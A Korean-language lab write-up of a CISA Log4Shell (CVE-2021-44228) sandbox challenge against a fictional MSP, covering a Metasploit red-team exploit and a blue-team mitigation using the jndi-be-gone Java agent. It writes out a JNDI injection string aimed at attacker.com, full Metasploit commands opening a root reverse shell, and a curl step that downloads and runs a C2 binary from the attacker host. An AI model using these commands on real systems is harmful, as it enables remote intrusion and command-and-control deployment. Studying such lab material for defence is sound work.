
CISA Log4Shell 샌드박스 챌린지에 대한 단계별 설명으로, Metasploit을 통한 공격적 익스플로잇과 JNDI-be-gone Java 에이전트를 사용한 방어적 완화를 다룹니다.
이 워크스루는 CVE-2021-44228, 일반적으로 Log4Shell로 알려진 취약점에 대한 CISA Threat Sandbox Challenge를 완료하기 위해 수행한 단계를 문서화합니다. 이 챌린지는 격리된 샌드박스 환경 내에서 DasMSP라는 가상의 IT 관리형 서비스 제공업체(MSP)를 대상으로 두 가지 목표(레드팀(공격)과 블루팀(방어))를 완료하는 것으로 구성되었습니다.
참고: 이 워크스루의 명령어와 파일 경로는 이 환경에서 수행된 특정 단계를 반영합니다. 사용자 환경은 IP 주소, 파일 위치, 도구 가용성 등이 다를 수 있습니다. 구성에 맞게 명령어를 조정하십시오.
CVE-2021-44228은 Apache Log4j Java 로깅 프레임워크의 특정 버전에 영향을 미치는 치명적인 원격 코드 실행(RCE) 취약점(CVSS 10.0)입니다. 이 취약점은 Log4j의 JNDI 조회 기능에서 발생하며, ${jndi:ldap://attacker.com/exploit}와 같은 특수 제작된 문자열을 Log4j가 기록하는 모든 데이터에 주입하여 트리거할 수 있습니다. 공격자가 취약한 애플리케이션이 악성 문자열(일반적으로 HTTP 헤더를 통해)을 기록하도록 할 수 있다면, Log4j는 공격자가 제어하는 서버에 연결하여 임의 코드를 실행합니다.
Log4Shell은 2021년 12월 10일에 CISA의 알려진 악용 취약점(KEV) 카탈로그에 추가되었으며, 2021년과 2022년 모두 최상위 정기 악용 취약점 합동 권고에 등장했습니다.
| 머신 | IP |
|---|---|
| Security-Desk | <Security-Desk-IP> |
| Red Target | <Red-Target-IP> |
| Blue Target | <Blue-Target-IP> |
두 대상 시스템 모두 Linux이며, 영향을 받는 Log4j 버전을 사용하는 취약한 Java 웹 애플리케이션(dasmsp.jar)을 실행합니다.
exploit/multi/http/log4shell_header_injection)Security-Desk에서 터미널을 열고 Metasploit을 실행했습니다:
msfconsole
브리핑에 제공된 모듈 경로가 설치된 버전과 일치하지 않았습니다. 올바른 모듈을 검색했습니다:
search log4shell
올바른 모듈 식별: exploit/multi/http/log4shell_header_injection.
use exploit/multi/http/log4shell_header_injection
set RHOSTS <Red-Target-IP>
set RPORT 80
set SRVHOST <Security-Desk-IP>
set PAYLOAD java/shell_reverse_tcp
set LHOST <Security-Desk-IP>
run
Metasploit이 자동으로 여러 HTTP 헤더에서 Log4Shell 취약점을 테스트했습니다. Red Target이 여러 헤더(Authorization, Cache-Control, User-Agent, X-Forwarded-For 등)에서 취약한 것으로 확인되었습니다. Red Target에 명령 셸 세션이 열렸습니다.
Red Target에서 루트 수준 액세스를 확인했습니다:
id
출력: uid=0(root) gid=0(root) groups=0(root)
deploy_c2 바이너리는 Red Target이 아닌 Security-Desk에 있었습니다. 대상에서 wget이나 직접 경로 참조를 사용할 수 없었습니다. Security-Desk에서 두 번째 터미널을 열고 Python을 통해 파일을 제공했습니다:
cd ~/Desktop/Resources
python3 -m http.server 8080
Red Target의 Metasploit 셸 세션으로 돌아가서 바이너리를 다운로드하고 실행했습니다:
curl http://<Security-Desk-IP>:8080/deploy_c2 -o /tmp/deploy_c2
chmod +x /tmp/deploy_c2
/tmp/deploy_c2
출력: Done!
✅ Red Target에 C2 리스너 배포 확인 완료.
사용된 완화 방법은 NCC Group이 개발한 log4j-jndi-be-gone-standalone.jar Java 에이전트로, 기본 애플리케이션에 패치를 적용하지 않고 런타임에 JNDI 조회 동작을 패치합니다. 이 에이전트에 대한 자세한 내용은 NCC Group 연구 블로그에서 확인할 수 있습니다.
Security-Desk 터미널에서 SCP를 사용하여 Java 에이전트 JAR 파일을 전송했습니다:
scp ~/Desktop/Resources/log4j-jndi-be-gone-standalone.jar playerone@<Blue-Target-IP>:/tmp/
ssh playerone@<Blue-Target-IP>
sudo nano /etc/systemd/system/dasmsp.service
ExecStart 줄을 찾아 -javaagent 플래그를 추가했습니다:
변경 전:
ExecStart=/usr/lib/jvm/nvidia-java-8-openjdk-amd64/bin/java -jar /opt/dasmsp.jar
변경 후:
ExecStart=/usr/lib/jvm/nvidia-java-8-openjdk-amd64/bin/java -javaagent:/tmp/log4j-jndi-be-gone-standalone.jar -jar /opt/dasmsp.jar
Ctrl+O → Enter → Ctrl+X로 저장했습니다.
sudo systemctl daemon-reload
sudo systemctl restart dasmsp
✅ Blue Target에서 CVE-2021-44228 완화 확인 완료.